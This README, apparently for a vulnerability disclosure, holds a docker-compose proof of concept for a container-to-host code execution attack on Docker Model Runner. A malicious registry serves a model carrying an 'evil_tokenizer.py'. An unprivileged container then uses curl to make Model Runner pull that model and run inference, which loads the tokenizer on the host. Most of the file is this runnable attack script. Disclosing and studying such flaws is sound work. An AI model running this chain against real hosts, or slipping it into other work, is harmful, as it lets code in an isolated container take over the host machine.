README.md
Rendering markdown...
# Docker Model Runner container-to-host RCE PoC
#
# docker compose up -d registry # start the registry
# docker compose run --rm attacker # run the attack
# docker compose down # clean up
#
# Run test_claims.py on the host (not in Docker) - it needs the source tree
# and the proof file.
services:
# Malicious OCI registry. Serves a model containing evil_tokenizer.py.
# All digests are correct (this is what a real attacker would do).
registry:
build:
context: .
dockerfile: Dockerfile.registry
ports:
- "${REGISTRY_PORT:-5555}:${REGISTRY_PORT:-5555}"
environment:
- REGISTRY_PORT=${REGISTRY_PORT:-5555}
- PROOF_FILE=${PROOF_FILE:-/tmp/poc_rce_proof}
healthcheck:
test: ["CMD", "python3", "-c",
"import urllib.request; urllib.request.urlopen('http://localhost:${REGISTRY_PORT:-5555}/_poc/health')"]
interval: 3s
timeout: 3s
retries: 5
start_period: 5s
# Unprivileged attacker container.
# No docker socket, no --privileged, no caps, no mounts, no-new-privileges.
# All it needs is network access to model-runner.docker.internal.
attacker:
image: curlimages/curl:latest
security_opt:
- no-new-privileges
depends_on:
registry:
condition: service_healthy
entrypoint: ["sh", "-c"]
command:
- |
echo "=== Docker Model Runner RCE PoC ==="
echo ""
PORT="${REGISTRY_PORT:-5555}"
MR="http://model-runner.docker.internal"
MODEL="localhost:$$PORT/evil/rce-model:latest"
echo "[1/4] Checking registry..."
HEALTH=$$(curl -sf http://host.docker.internal:$$PORT/_poc/selftest 2>&1)
if echo "$$HEALTH" | grep -q '"passed": true'; then
echo " Registry OK"
else
echo " WARNING: Could not verify registry: $$HEALTH"
fi
echo ""
echo "[2/4] Checking Model Runner..."
MR_STATUS=$$(curl -sf -o /dev/null -w "%{http_code}" $$MR/api/tags 2>&1)
echo " Model Runner /api/tags: HTTP $$MR_STATUS"
if [ "$$MR_STATUS" != "200" ]; then
echo " ERROR: Model Runner not reachable. Is it enabled in Docker Desktop?"
exit 1
fi
echo ""
echo "[3/4] Pulling malicious model..."
echo " POST $$MR/api/pull"
echo " Model: $$MODEL"
PULL=$$(curl -sf -X POST $$MR/api/pull \
-H "Content-Type: application/json" \
-d "{\"name\": \"$$MODEL\"}" 2>&1)
echo " Response: $$(echo "$$PULL" | head -5)"
echo ""
echo "[4/4] Triggering inference (loads evil tokenizer on host)..."
echo " POST $$MR/engines/v1/chat/completions"
echo " May take 30-120s if the Python backend has to spin up..."
INFER=$$(curl -sf --max-time 120 -X POST \
$$MR/engines/v1/chat/completions \
-H "Content-Type: application/json" \
-d "{\"model\": \"$$MODEL\", \"messages\": [{\"role\": \"user\", \"content\": \"hello\"}]}" 2>&1)
echo " Response: $$(echo "$$INFER" | head -5)"
echo ""
echo "=== Done ==="
echo "Check host for proof:"
echo " cat ${PROOF_FILE:-/tmp/poc_rce_proof}"